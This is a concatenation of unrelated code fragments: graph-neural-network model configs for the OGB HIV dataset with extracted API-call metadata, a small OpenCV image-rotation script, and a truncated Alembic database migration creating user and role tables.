dataset_name="hiv",
model_name="gat",
hidden=self.hidden,
model_dir=model_dir,
pretrained_conf=PRETRAINED_CONF,
)
class GinMolConfig(MolConfig):
def model(self, hparams):
return GinHIVNet(
hidden_dim=self.hidden,
num_graph_layers=NUM_LAYERS,
in_feat_drop=hparams["dropout"],
residual=True,
)
def pretrained(self, model_dir):
return load_pretrained(
self,
dataset_name="hiv",
model_name="gin",
hidden=self.hidden,
model_dir=model_dir,
pretrained_conf=PRETRAINED_CONF,
)
class EgcMolConfig(MolConfig):
def __init__(self, dataset, hidden, softmax, num_bases, num_heads, aggrs) -> None:
super().__init__(dataset=dataset, hidden=hidden)
self.softmax = softmax
self.num_bases = num_bases
self.num_heads = num_heads
self.aggrs = aggrs.split(",")
def model(self, hparams):
return EgcHIVNet(
hidden_dim=self.hidden,
num_graph_layers=NUM_LAYERS,
in_feat_drop=hparams["dropout"],
residual=True,
readout="mean",
softmax=self.softmax,
bases=self.num_bases,
heads=self.num_heads,
aggrs=self.aggrs,
)
def pretrained(self, model_dir):
assert not self.softmax
if len(self.aggrs) == 1:
assert "symadd" in self.aggrs
assert self.hidden == 236 and self.num_heads == 4 and self.num_bases == 4
model = "egc_s"
elif len(self.aggrs) == 3:
assert set(self.aggrs).issuperset({"add", "max", "mean"})
assert self.hidden == 224 and self.num_heads == 4 and self.num_bases == 4
model = "egc_m"
else:
raise ValueError
return load_pretrained(
self,
dataset_name="hiv",
model_name=model,
hidden=self.hidden,
model_dir=model_dir,
pretrained_conf=PRETRAINED_CONF,
)
class MpnnMolConfig(MolConfig):
def __init__(self, dataset, hidden, aggr) -> None:
super().__init__(dataset, hidden)
self.aggr = aggr
def model(self, hparams):
return MpnnHIVNet(
hidden_dim=self.hidden,
num_graph_layers=NUM_LAYERS,
in_feat_drop=hparams["dropout"],
residual=True,
aggr=self.aggr,
)
def pretrained(self, model_dir):
return load_pretrained(
self,
dataset_name="hiv",
model_name=f"mpnn_{self.aggr}",
hidden=self.hidden,
model_dir=model_dir,
pretrained_conf=PRETRAINED_CONF,
)
| [
"exptune.utils.PatientStopper",
"torch.cuda.is_available",
"ogb.graphproppred.evaluate.Evaluator",
"exptune.hyperparams.ChoiceHyperParam",
"ray.tune.schedulers.AsyncHyperBandScheduler",
"experiments.mol.pna_style_models.GatHIVNet",
"experiments.utils.data_location",
"experiments.mol.pna_style_models.M... | [((2201, 2216), 'torch.no_grad', 'torch.no_grad', ([], {}), '()\n', (2214, 2216), False, 'import torch\n'), ((3726, 3762), 'ogb.graphproppred.evaluate.Evaluator', 'Evaluator', (['f"""ogbg-mol{self.dataset}"""'], {}), "(f'ogbg-mol{self.dataset}')\n", (3735, 3762), False, 'from ogb.graphproppred.evaluate import Evaluator\n'), ((3825, 3921), 'exptune.exptune.ExperimentSettings', 'ExperimentSettings', (['f"""mol-{self.dataset}"""'], {'final_repeats': 'REPEATS', 'final_max_iterations': 'ITERS'}), "(f'mol-{self.dataset}', final_repeats=REPEATS,\n final_max_iterations=ITERS)\n", (3843, 3921), False, 'from exptune.exptune import ExperimentSettings, Metric, TrialResources\n'), ((4036, 4069), 'exptune.exptune.TrialResources', 'TrialResources', ([], {'cpus': '(2)', 'gpus': '(0.25)'}), '(cpus=2, gpus=0.25)\n', (4050, 4069), False, 'from exptune.exptune import ExperimentSettings, Metric, TrialResources\n'), ((4117, 4169), 'exptune.search_strategies.GridSearchStrategy', 'GridSearchStrategy', (["{'lr': 5, 'wd': 2, 'dropout': 2}"], {}), "({'lr': 5, 'wd': 2, 'dropout': 2})\n", (4135, 4169), False, 'from exptune.search_strategies import GridSearchStrategy\n'), ((4254, 4349), 'ray.tune.schedulers.AsyncHyperBandScheduler', 'AsyncHyperBandScheduler', ([], {'metric': 'metric.name', 'mode': 'metric.mode', 'max_t': 'ITERS', 'grace_period': '(30)'}), '(metric=metric.name, mode=metric.mode, max_t=ITERS,\n grace_period=30)\n', (4277, 4349), False, 'from ray.tune.schedulers import AsyncHyperBandScheduler\n'), ((4422, 4451), 'exptune.exptune.Metric', 'Metric', (['"""valid_metric"""', '"""max"""'], {}), "('valid_metric', 'max')\n", (4428, 4451), False, 'from exptune.exptune import ExperimentSettings, Metric, TrialResources\n'), ((4857, 4886), 'experiments.utils.print_model_parameters', 'print_model_parameters', (['model'], {}), '(model)\n', (4879, 4886), False, 'from experiments.utils import data_location, load_pretrained, print_model_parameters\n'), ((8070, 8185), 'experiments.mol.pna_style_models.GcnHIVNet', 'GcnHIVNet', ([], {'hidden_dim': 'self.hidden', 'num_graph_layers': 'NUM_LAYERS', 'in_feat_drop': "hparams['dropout']", 'residual': '(True)'}), "(hidden_dim=self.hidden, num_graph_layers=NUM_LAYERS, in_feat_drop\n =hparams['dropout'], residual=True)\n", (8079, 8185), False, 'from experiments.mol.pna_style_models import EgcHIVNet, GatHIVNet, GcnHIVNet, GinHIVNet, MpnnHIVNet\n'), ((8293, 8431), 'experiments.utils.load_pretrained', 'load_pretrained', (['self'], {'dataset_name': '"""hiv"""', 'model_name': '"""gcn"""', 'hidden': 'self.hidden', 'model_dir': 'model_dir', 'pretrained_conf': 'PRETRAINED_CONF'}), "(self, dataset_name='hiv', model_name='gcn', hidden=self.\n hidden, model_dir=model_dir, pretrained_conf=PRETRAINED_CONF)\n", (8308, 8431), False, 'from experiments.utils import data_location, load_pretrained, print_model_parameters\n'), ((8588, 8703), 'experiments.mol.pna_style_models.GatHIVNet', 'GatHIVNet', ([], {'hidden_dim': 'self.hidden', 'num_graph_layers': 'NUM_LAYERS', 'in_feat_drop': "hparams['dropout']", 'residual': '(True)'}), "(hidden_dim=self.hidden, num_graph_layers=NUM_LAYERS, in_feat_drop\n =hparams['dropout'], residual=True)\n", (8597, 8703), False, 'from experiments.mol.pna_style_models import EgcHIVNet, GatHIVNet, GcnHIVNet, GinHIVNet, MpnnHIVNet\n'), ((8811, 8949), 'experiments.utils.load_pretrained', 'load_pretrained', (['self'], {'dataset_name': '"""hiv"""', 'model_name': '"""gat"""', 'hidden': 'self.hidden', 'model_dir': 'model_dir', 'pretrained_conf': 'PRETRAINED_CONF'}), "(self, dataset_name='hiv', model_name='gat', hidden=self.\n hidden, model_dir=model_dir, pretrained_conf=PRETRAINED_CONF)\n", (8826, 8949), False, 'from experiments.utils import data_location, load_pretrained, print_model_parameters\n'), ((9106, 9221), 'experiments.mol.pna_style_models.GinHIVNet', 'GinHIVNet', ([], {'hidden_dim': 'self.hidden', 'num_graph_layers': 'NUM_LAYERS', 'in_feat_drop': "hparams['dropout']", 'residual': '(True)'}), "(hidden_dim=self.hidden, num_graph_layers=NUM_LAYERS, in_feat_drop\n =hparams['dropout'], residual=True)\n", (9115, 9221), False, 'from experiments.mol.pna_style_models import EgcHIVNet, GatHIVNet, GcnHIVNet, GinHIVNet, MpnnHIVNet\n'), ((9329, 9467), 'experiments.utils.load_pretrained', 'load_pretrained', (['self'], {'dataset_name': '"""hiv"""', 'model_name': '"""gin"""', 'hidden': 'self.hidden', 'model_dir': 'model_dir', 'pretrained_conf': 'PRETRAINED_CONF'}), "(self, dataset_name='hiv', model_name='gin', hidden=self.\n hidden, model_dir=model_dir, pretrained_conf=PRETRAINED_CONF)\n", (9344, 9467), False, 'from experiments.utils import data_location, load_pretrained, print_model_parameters\n'), ((9908, 10128), 'experiments.mol.pna_style_models.EgcHIVNet', 'EgcHIVNet', ([], {'hidden_dim': 'self.hidden', 'num_graph_layers': 'NUM_LAYERS', 'in_feat_drop': "hparams['dropout']", 'residual': '(True)', 'readout': '"""mean"""', 'softmax': 'self.softmax', 'bases': 'self.num_bases', 'heads': 'self.num_heads', 'aggrs': 'self.aggrs'}), "(hidden_dim=self.hidden, num_graph_layers=NUM_LAYERS, in_feat_drop\n =hparams['dropout'], residual=True, readout='mean', softmax=self.\n softmax, bases=self.num_bases, heads=self.num_heads, aggrs=self.aggrs)\n", (9917, 10128), False, 'from experiments.mol.pna_style_models import EgcHIVNet, GatHIVNet, GcnHIVNet, GinHIVNet, MpnnHIVNet\n'), ((10775, 10913), 'experiments.utils.load_pretrained', 'load_pretrained', (['self'], {'dataset_name': '"""hiv"""', 'model_name': 'model', 'hidden': 'self.hidden', 'model_dir': 'model_dir', 'pretrained_conf': 'PRETRAINED_CONF'}), "(self, dataset_name='hiv', model_name=model, hidden=self.\n hidden, model_dir=model_dir, pretrained_conf=PRETRAINED_CONF)\n", (10790, 10913), False, 'from experiments.utils import data_location, load_pretrained, print_model_parameters\n'), ((11194, 11325), 'experiments.mol.pna_style_models.MpnnHIVNet', 'MpnnHIVNet', ([], {'hidden_dim': 'self.hidden', 'num_graph_layers': 'NUM_LAYERS', 'in_feat_drop': "hparams['dropout']", 'residual': '(True)', 'aggr': 'self.aggr'}), "(hidden_dim=self.hidden, num_graph_layers=NUM_LAYERS,\n in_feat_drop=hparams['dropout'], residual=True, aggr=self.aggr)\n", (11204, 11325), False, 'from experiments.mol.pna_style_models import EgcHIVNet, GatHIVNet, GcnHIVNet, GinHIVNet, MpnnHIVNet\n'), ((11446, 11597), 'experiments.utils.load_pretrained', 'load_pretrained', (['self'], {'dataset_name': '"""hiv"""', 'model_name': 'f"""mpnn_{self.aggr}"""', 'hidden': 'self.hidden', 'model_dir': 'model_dir', 'pretrained_conf': 'PRETRAINED_CONF'}), "(self, dataset_name='hiv', model_name=f'mpnn_{self.aggr}',\n hidden=self.hidden, model_dir=model_dir, pretrained_conf=PRETRAINED_CONF)\n", (11461, 11597), False, 'from experiments.utils import data_location, load_pretrained, print_model_parameters\n'), ((2824, 2848), 'torch.cat', 'torch.cat', (['y_true'], {'dim': '(0)'}), '(y_true, dim=0)\n', (2833, 2848), False, 'import torch\n'), ((2870, 2894), 'torch.cat', 'torch.cat', (['y_pred'], {'dim': '(0)'}), '(y_pred, dim=0)\n', (2879, 2894), False, 'import torch\n'), ((4543, 4630), 'exptune.utils.PatientStopper', 'PatientStopper', ([], {'metric': 'metric.name', 'mode': 'metric.mode', 'patience': '(20)', 'max_iters': 'ITERS'}), '(metric=metric.name, mode=metric.mode, patience=20, max_iters\n =ITERS)\n', (4557, 4630), False, 'from exptune.utils import PatientStopper\n'), ((5215, 5230), 'experiments.utils.data_location', 'data_location', ([], {}), '()\n', (5228, 5230), False, 'from experiments.utils import data_location, load_pretrained, print_model_parameters\n'), ((5360, 5409), 'exptune.hyperparams.LogUniformHyperParam', 'LogUniformHyperParam', (['(0.0001)', '(0.01)'], {'default': '(0.001)'}), '(0.0001, 0.01, default=0.001)\n', (5380, 5409), False, 'from exptune.hyperparams import ChoiceHyperParam, LogUniformHyperParam, UniformHyperParam\n'), ((5437, 5475), 'exptune.hyperparams.ChoiceHyperParam', 'ChoiceHyperParam', (['[32, 64]'], {'default': '(32)'}), '([32, 64], default=32)\n', (5453, 5475), False, 'from exptune.hyperparams import ChoiceHyperParam, LogUniformHyperParam, UniformHyperParam\n'), ((5495, 5546), 'exptune.hyperparams.LogUniformHyperParam', 'LogUniformHyperParam', (['(0.0001)', '(0.001)'], {'default': '(0.0005)'}), '(0.0001, 0.001, default=0.0005)\n', (5515, 5546), False, 'from exptune.hyperparams import ChoiceHyperParam, LogUniformHyperParam, UniformHyperParam\n'), ((5571, 5611), 'exptune.hyperparams.UniformHyperParam', 'UniformHyperParam', (['(0.0)', '(0.2)'], {'default': '(0.2)'}), '(0.0, 0.2, default=0.2)\n', (5588, 5611), False, 'from exptune.hyperparams import ChoiceHyperParam, LogUniformHyperParam, UniformHyperParam\n'), ((7668, 7783), 'exptune.summaries.final_run_summaries.TrialCurvePlotter', 'TrialCurvePlotter', (["['train_loss', 'valid_metric', 'test_metric', 'valid_loss', 'test_loss']"], {'name': '"""loss_curves"""'}), "(['train_loss', 'valid_metric', 'test_metric',\n 'valid_loss', 'test_loss'], name='loss_curves')\n", (7685, 7783), False, 'from exptune.summaries.final_run_summaries import TestMetricSummaries, TrialCurvePlotter\n'), ((7959, 7980), 'exptune.summaries.final_run_summaries.TestMetricSummaries', 'TestMetricSummaries', ([], {}), '()\n', (7978, 7980), False, 'from exptune.summaries.final_run_summaries import TestMetricSummaries, TrialCurvePlotter\n'), ((5015, 5094), 'torch.optim.lr_scheduler.ReduceLROnPlateau', 'ReduceLROnPlateau', (['optimizer'], {'mode': '"""max"""', 'factor': '(0.5)', 'patience': '(10)', 'min_lr': '(1e-05)'}), "(optimizer, mode='max', factor=0.5, patience=10, min_lr=1e-05)\n", (5032, 5094), False, 'from torch.optim.lr_scheduler import ReduceLROnPlateau\n'), ((4951, 4976), 'torch.cuda.is_available', 'torch.cuda.is_available', ([], {}), '()\n', (4974, 4976), False, 'import torch\n')] |
import cv2
img = cv2.imread('assets/PersLogo_4.jpg', -1)
img = cv2.resize(img, (0, 0), fx=0.5, fy=0.5)
img = cv2.rotate(img, cv2.cv2.ROTATE_90_COUNTERCLOCKWISE)
cv2.imwrite('assets/new_img.jpg', img)
cv2.imshow('Image ', img)
cv2.waitKey(0)
cv2.destroyWindow()
| [
"cv2.imwrite",
"cv2.destroyWindow",
"cv2.imshow",
"cv2.rotate",
"cv2.waitKey",
"cv2.resize",
"cv2.imread"
] | [((18, 57), 'cv2.imread', 'cv2.imread', (['"""assets/PersLogo_4.jpg"""', '(-1)'], {}), "('assets/PersLogo_4.jpg', -1)\n", (28, 57), False, 'import cv2\n'), ((64, 103), 'cv2.resize', 'cv2.resize', (['img', '(0, 0)'], {'fx': '(0.5)', 'fy': '(0.5)'}), '(img, (0, 0), fx=0.5, fy=0.5)\n', (74, 103), False, 'import cv2\n'), ((111, 162), 'cv2.rotate', 'cv2.rotate', (['img', 'cv2.cv2.ROTATE_90_COUNTERCLOCKWISE'], {}), '(img, cv2.cv2.ROTATE_90_COUNTERCLOCKWISE)\n', (121, 162), False, 'import cv2\n'), ((164, 202), 'cv2.imwrite', 'cv2.imwrite', (['"""assets/new_img.jpg"""', 'img'], {}), "('assets/new_img.jpg', img)\n", (175, 202), False, 'import cv2\n'), ((204, 229), 'cv2.imshow', 'cv2.imshow', (['"""Image """', 'img'], {}), "('Image ', img)\n", (214, 229), False, 'import cv2\n'), ((230, 244), 'cv2.waitKey', 'cv2.waitKey', (['(0)'], {}), '(0)\n', (241, 244), False, 'import cv2\n'), ((245, 264), 'cv2.destroyWindow', 'cv2.destroyWindow', ([], {}), '()\n', (262, 264), False, 'import cv2\n')] |
"""convert-two-streets-cache-to-single
Revision ID: d365c792c756
Revises: <KEY>
Create Date: 2021-12-30 16:57:22.196091
"""
# revision identifiers, used by Alembic.
revision = 'd365c792c756'
down_revision = '<KEY>'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
from typing import Optional
two_streets_table_name = 'infographics_two_streets_data_cache'
two_streets_table_name_temp = 'infographics_two_streets_data_cache_temp'
two_streets_index = 'infographics_two_streets_data_cache_id_years_idx'
def upgrade():
op.create_table('infographics_street_data_cache',
sa.Column('yishuv_symbol', sa.Integer(), nullable=False),
sa.Column('street', sa.Integer(), nullable=False),
sa.Column('years_ago', sa.Integer(), nullable=False),
sa.Column('data', sa.JSON(), nullable=True),
sa.PrimaryKeyConstraint('yishuv_symbol', 'street', 'years_ago')
)
op.create_index('infographics_street_data_cache_id_years_idx',
'infographics_street_data_cache',
['yishuv_symbol', 'street', 'years_ago'], unique=True
)
op.create_table('infographics_street_data_cache_temp',
sa.Column('yishuv_symbol', sa.Integer(), nullable=False),
sa.Column('street', sa.Integer(), nullable=False),
sa.Column('years_ago', sa.Integer(), nullable=False),
sa.Column('data', sa.JSON(), nullable=True),
sa.PrimaryKeyConstraint('yishuv_symbol', 'street', 'years_ago')
)
drop_two_streets_cache()
def downgrade():
op.drop_table('infographics_street_data_cache_temp')
op.drop_index('infographics_street_data_cache_id_years_idx', table_name='infographics_street_data_cache')
op.drop_table('infographics_street_data_cache')
create_two_streets_cache()
def drop_two_streets_cache():
op.drop_index(op.f(two_streets_index), table_name=two_streets_table_name)
op.drop_table(two_streets_table_name)
op.drop_table(two_streets_table_name_temp)
def create_two_streets_table(table: str, index: Optional[str]):
op.create_table(table,
sa.Column('street1', sa.Integer(), nullable=False),
sa.Column('street2', sa.Integer(), nullable=True),
sa.Column('yishuv_symbol', sa.Integer(), nullable=False),
sa.Column('years_ago', sa.Integer(), nullable=False),
sa.Column('data', sa.types.JSON(), nullable=False),
sa.PrimaryKeyConstraint('street1', 'street2', 'years_ago')
)
if index:
op.create_index(index, table,
['street1', 'street2', 'yishuv_symbol', 'years_ago'],
unique=True)
def create_two_streets_cache():
create_two_streets_table(two_streets_table_name, two_streets_index)
create_two_streets_table(two_streets_table_name_temp, None)
| [
"sqlalchemy.types.JSON",
"alembic.op.drop_table",
"alembic.op.f",
"sqlalchemy.PrimaryKeyConstraint",
"sqlalchemy.Integer",
"alembic.op.drop_index",
"alembic.op.create_index",
"sqlalchemy.JSON"
] | [((1011, 1170), 'alembic.op.create_index', 'op.create_index', (['"""infographics_street_data_cache_id_years_idx"""', '"""infographics_street_data_cache"""', "['yishuv_symbol', 'street', 'years_ago']"], {'unique': '(True)'}), "('infographics_street_data_cache_id_years_idx',\n 'infographics_street_data_cache', ['yishuv_symbol', 'street',\n 'years_ago'], unique=True)\n", (1026, 1170), False, 'from alembic import op\n'), ((1729, 1781), 'alembic.op.drop_table', 'op.drop_table', (['"""infographics_street_data_cache_temp"""'], {}), "('infographics_street_data_cache_temp')\n", (1742, 1781), False, 'from alembic import op\n'), ((1786, 1896), 'alembic.op.drop_index', 'op.drop_index', (['"""infographics_street_data_cache_id_years_idx"""'], {'table_name': '"""infographics_street_data_cache"""'}), "('infographics_street_data_cache_id_years_idx', table_name=\n 'infographics_street_data_cache')\n", (1799, 1896), False, 'from alembic import op\n'), ((1896, 1943), 'alembic.op.drop_table', 'op.drop_table', (['"""infographics_street_data_cache"""'], {}), "('infographics_street_data_cache')\n", (1909, 1943), False, 'from alembic import op\n'), ((2090, 2127), 'alembic.op.drop_table', 'op.drop_table', (['two_streets_table_name'], {}), '(two_streets_table_name)\n', (2103, 2127), False, 'from alembic import op\n'), ((2133, 2175), 'alembic.op.drop_table', 'op.drop_table', (['two_streets_table_name_temp'], {}), '(two_streets_table_name_temp)\n', (2146, 2175), False, 'from alembic import op\n'), ((921, 984), 'sqlalchemy.PrimaryKeyConstraint', 'sa.PrimaryKeyConstraint', (['"""yishuv_symbol"""', '"""street"""', '"""years_ago"""'], {}), "('yishuv_symbol', 'street', 'years_ago')\n", (944, 984), True, 'import sqlalchemy as sa\n'), ((1591, 1654), 'sqlalchemy.PrimaryKeyConstraint', 'sa.PrimaryKeyConstraint', (['"""yishuv_symbol"""', '"""street"""', '"""years_ago"""'], {}), "('yishuv_symbol', 'street', 'years_ago')\n", (1614, 1654), True, 'import sqlalchemy as sa\n'), ((2026, 2049), 'alembic.op.f', 'op.f', (['two_streets_index'], {}), '(two_streets_index)\n', (2030, 2049), False, 'from alembic import op\n'), ((2656, 2714), 'sqlalchemy.PrimaryKeyConstraint', 'sa.PrimaryKeyConstraint', (['"""street1"""', '"""street2"""', '"""years_ago"""'], {}), "('street1', 'street2', 'years_ago')\n", (2679, 2714), True, 'import sqlalchemy as sa\n'), ((2759, 2859), 'alembic.op.create_index', 'op.create_index', (['index', 'table', "['street1', 'street2', 'yishuv_symbol', 'years_ago']"], {'unique': '(True)'}), "(index, table, ['street1', 'street2', 'yishuv_symbol',\n 'years_ago'], unique=True)\n", (2774, 2859), False, 'from alembic import op\n'), ((660, 672), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (670, 672), True, 'import sqlalchemy as sa\n'), ((731, 743), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (741, 743), True, 'import sqlalchemy as sa\n'), ((805, 817), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (815, 817), True, 'import sqlalchemy as sa\n'), ((874, 883), 'sqlalchemy.JSON', 'sa.JSON', ([], {}), '()\n', (881, 883), True, 'import sqlalchemy as sa\n'), ((1330, 1342), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (1340, 1342), True, 'import sqlalchemy as sa\n'), ((1401, 1413), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (1411, 1413), True, 'import sqlalchemy as sa\n'), ((1475, 1487), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (1485, 1487), True, 'import sqlalchemy as sa\n'), ((1544, 1553), 'sqlalchemy.JSON', 'sa.JSON', ([], {}), '()\n', (1551, 1553), True, 'import sqlalchemy as sa\n'), ((2310, 2322), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (2320, 2322), True, 'import sqlalchemy as sa\n'), ((2382, 2394), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (2392, 2394), True, 'import sqlalchemy as sa\n'), ((2459, 2471), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (2469, 2471), True, 'import sqlalchemy as sa\n'), ((2533, 2545), 'sqlalchemy.Integer', 'sa.Integer', ([], {}), '()\n', (2543, 2545), True, 'import sqlalchemy as sa\n'), ((2602, 2617), 'sqlalchemy.types.JSON', 'sa.types.JSON', ([], {}), '()\n', (2615, 2617), True, 'import sqlalchemy as sa\n')] |
#!/usr/bin/env python3
## cachefy.py
##
## Add or remove numba "cache" decorators
##
## Copyright (C) 2018, <NAME> <<EMAIL>> and contributors
##
## This program is licenced under the BSD 2-Clause License,
## contained in the LICENCE file in this directory.
## See CREDITS for a list of contributors.
##
import sys
import glob
filelist = glob.glob('*.py')
def add_cache(l):
if l.find("cache=True") >= 0: # already patched
return l
if l[-1] == "t": #njit or jit
l += "(cache=True)"
elif l[-1] == ")": # some other parameters exist
if "cache" not in l:
l = l[:-1] + ",cache=True)"
return l
def remove_cache(l):
if l[-1] == ")": # some parameters exist
l = l.replace("cache=True", "")
# remove the extra ,
s = l.strip()[:-1].strip()
if s[-1] == ",":
l = s[:-1] + ")"
# remove empty ()
if l[-2:] == "()":
l = l[:-2]
return l
func = add_cache
if len(sys.argv) > 1:
if sys.argv[1] == "-u":
func = remove_cache
for pyfile in filelist:
with open(pyfile) as f:
lines = f.readlines()
print("processing", pyfile)
write = False
for i in range(len(lines)):
l = lines[i]
l = l.strip()
if l.startswith("@jit") or l.startswith("@njit"):
new_l = func(l)
if new_l != l:
print('line {:5d}: "{}" -> "{}"'.format(i+1, l, new_l))
lines[i] = new_l + "\n"
write = True
else:
print('line {:5d}: "{}" (patched)'.format(i+1, l))
if write:
print("updating", pyfile)
with open(pyfile, "w") as f:
f.writelines(lines)
| [
"glob.glob"
] | [((341, 358), 'glob.glob', 'glob.glob', (['"""*.py"""'], {}), "('*.py')\n", (350, 358), False, 'import glob\n')] |
import requests
from bs4 import BeautifulSoup, SoupStrainer
from chapter_3.file_cache import FileCache
class Downloader:
def __init__(self, cache=None, parser='html.parser', hard_cache=True):
if not cache:
self.cache = FileCache('sainsbury_compressed', compressed=True)
else:
self.cache = cache
self.parser = parser
self.hard_cache = hard_cache
def get_contents(self, url, use_cache=True):
if not use_cache:
return get_site(url)
content = self.cache.get_content(url)
if content:
return content
if self.hard_cache:
return None
print("cache missed")
content = get_site(url)
self.cache.save_content(url, content)
return content
def get_soup(self, url, use_cache=True, tag=None, attributes={}):
c = self.get_contents(url, use_cache)
strainer = SoupStrainer(name=tag, attrs=attributes)
if c:
return BeautifulSoup(c, self.parser, parse_only=strainer)
def get_site(url):
try:
r = requests.get(url)
if r.status_code == 200:
return r.content
except Exception as e:
# logging.exception("Exception while accessing URL '{}'".format(url))
pass
return None
| [
"chapter_3.file_cache.FileCache",
"bs4.BeautifulSoup",
"requests.get",
"bs4.SoupStrainer"
] | [((929, 969), 'bs4.SoupStrainer', 'SoupStrainer', ([], {'name': 'tag', 'attrs': 'attributes'}), '(name=tag, attrs=attributes)\n', (941, 969), False, 'from bs4 import BeautifulSoup, SoupStrainer\n'), ((1096, 1113), 'requests.get', 'requests.get', (['url'], {}), '(url)\n', (1108, 1113), False, 'import requests\n'), ((246, 296), 'chapter_3.file_cache.FileCache', 'FileCache', (['"""sainsbury_compressed"""'], {'compressed': '(True)'}), "('sainsbury_compressed', compressed=True)\n", (255, 296), False, 'from chapter_3.file_cache import FileCache\n'), ((1003, 1053), 'bs4.BeautifulSoup', 'BeautifulSoup', (['c', 'self.parser'], {'parse_only': 'strainer'}), '(c, self.parser, parse_only=strainer)\n', (1016, 1053), False, 'from bs4 import BeautifulSoup, SoupStrainer\n')] |
import rospy
from std_msgs.msg import Float64
def set_wheel_velocity(velocity):
pub1 = rospy.Publisher('/my_robot/joint_wheel_1_controller/command', Float64, queue_size=10)
pub2 = rospy.Publisher('/my_robot/joint_wheel_2_controller/command', Float64, queue_size=10)
rate = rospy.Rate(2) # 2hz
rate.sleep()
rospy.loginfo(velocity)
pub1.publish(-velocity)
pub2.publish(velocity)
| [
"rospy.Publisher",
"rospy.Rate",
"rospy.loginfo"
] | [((92, 181), 'rospy.Publisher', 'rospy.Publisher', (['"""/my_robot/joint_wheel_1_controller/command"""', 'Float64'], {'queue_size': '(10)'}), "('/my_robot/joint_wheel_1_controller/command', Float64,\n queue_size=10)\n", (107, 181), False, 'import rospy\n'), ((189, 278), 'rospy.Publisher', 'rospy.Publisher', (['"""/my_robot/joint_wheel_2_controller/command"""', 'Float64'], {'queue_size': '(10)'}), "('/my_robot/joint_wheel_2_controller/command', Float64,\n queue_size=10)\n", (204, 278), False, 'import rospy\n'), ((287, 300), 'rospy.Rate', 'rospy.Rate', (['(2)'], {}), '(2)\n', (297, 300), False, 'import rospy\n'), ((329, 352), 'rospy.loginfo', 'rospy.loginfo', (['velocity'], {}), '(velocity)\n', (342, 352), False, 'import rospy\n')] |
# Generated by Django 3.0.5 on 2020-05-14 06:37
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('interceptor', '0005_auto_20200514_0617'),
]
operations = [
migrations.AddField(
model_name='interceptedrequest',
name='path',
field=models.CharField(default='/', max_length=255),
),
migrations.AddField(
model_name='interceptedrequest',
name='session',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='interceptor.InterceptorSession'),
),
]
| [
"django.db.models.CharField",
"django.db.models.ForeignKey"
] | [((381, 426), 'django.db.models.CharField', 'models.CharField', ([], {'default': '"""/"""', 'max_length': '(255)'}), "(default='/', max_length=255)\n", (397, 426), False, 'from django.db import migrations, models\n'), ((559, 686), 'django.db.models.ForeignKey', 'models.ForeignKey', ([], {'blank': '(True)', 'null': '(True)', 'on_delete': 'django.db.models.deletion.CASCADE', 'to': '"""interceptor.InterceptorSession"""'}), "(blank=True, null=True, on_delete=django.db.models.\n deletion.CASCADE, to='interceptor.InterceptorSession')\n", (576, 686), False, 'from django.db import migrations, models\n')] |
import panel as pn
def test_alert():
my_alert = pn.pane.Alert("foo", alert_type="primary")
my_button = pn.widgets.Button(name="Toggle")
def toggle(event):
if my_alert.alert_type == "primary":
my_alert.alert_type == "success"
else:
my_alert.alert_type = "primary"
my_alert.object = my_alert.alert_type
my_button.on_click(toggle)
pn.Row(my_alert, my_button).show()
test_alert()
| [
"panel.Row",
"panel.widgets.Button",
"panel.pane.Alert"
] | [((58, 100), 'panel.pane.Alert', 'pn.pane.Alert', (['"""foo"""'], {'alert_type': '"""primary"""'}), "('foo', alert_type='primary')\n", (71, 100), True, 'import panel as pn\n'), ((118, 150), 'panel.widgets.Button', 'pn.widgets.Button', ([], {'name': '"""Toggle"""'}), "(name='Toggle')\n", (135, 150), True, 'import panel as pn\n'), ((417, 444), 'panel.Row', 'pn.Row', (['my_alert', 'my_button'], {}), '(my_alert, my_button)\n', (423, 444), True, 'import panel as pn\n')] |
# Generated by Django 3.2.4 on 2021-06-10 23:08
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('order_status', '0003_alter_orderstatus_bought_by'),
]
operations = [
migrations.AlterModelOptions(
name='orderstatus',
options={'ordering': ['order_number']},
),
]
| [
"django.db.migrations.AlterModelOptions"
] | [((241, 334), 'django.db.migrations.AlterModelOptions', 'migrations.AlterModelOptions', ([], {'name': '"""orderstatus"""', 'options': "{'ordering': ['order_number']}"}), "(name='orderstatus', options={'ordering': [\n 'order_number']})\n", (269, 334), False, 'from django.db import migrations\n')] |
"""initial migration
Revision ID: 0930fdefb325
Revises:
Create Date: 2020-09-27 21:13:23.088570
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '0930fdefb325'
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.create_table('criticality',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('value', sa.String(length=100), nullable=False),
sa.PrimaryKeyConstraint('id'),
sa.UniqueConstraint('value')
)
op.create_table('role',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('value', sa.String(length=100), nullable=False),
sa.PrimaryKeyConstraint('id'),
sa.UniqueConstraint('value')
)
op.create_table('status',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('value', sa.String(length=100), nullable=False),
sa.PrimaryKeyConstraint('id'),
sa.UniqueConstraint('value')
)
op.create_table('user',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('first_name', sa.String(length=30), nullable=False),
sa.Column('last_name', sa.String(length=30), nullable=False),
sa.Column('email', sa.String(length=200), nullable=False),
sa.Column('password', sa.Text(), nullable=False),
sa.Column('is_verified', sa.Boolean(), server_default=sa.text('0'), nullable=True),
sa.Column('created_at', sa.DateTime(), server_default=sa.text('now()'), nullable=True),
sa.Column('role_id', sa.Integer(), nullable=False),
sa.ForeignKeyConstraint(['role_id'], ['role.id'], ),
sa.PrimaryKeyConstraint('id'),
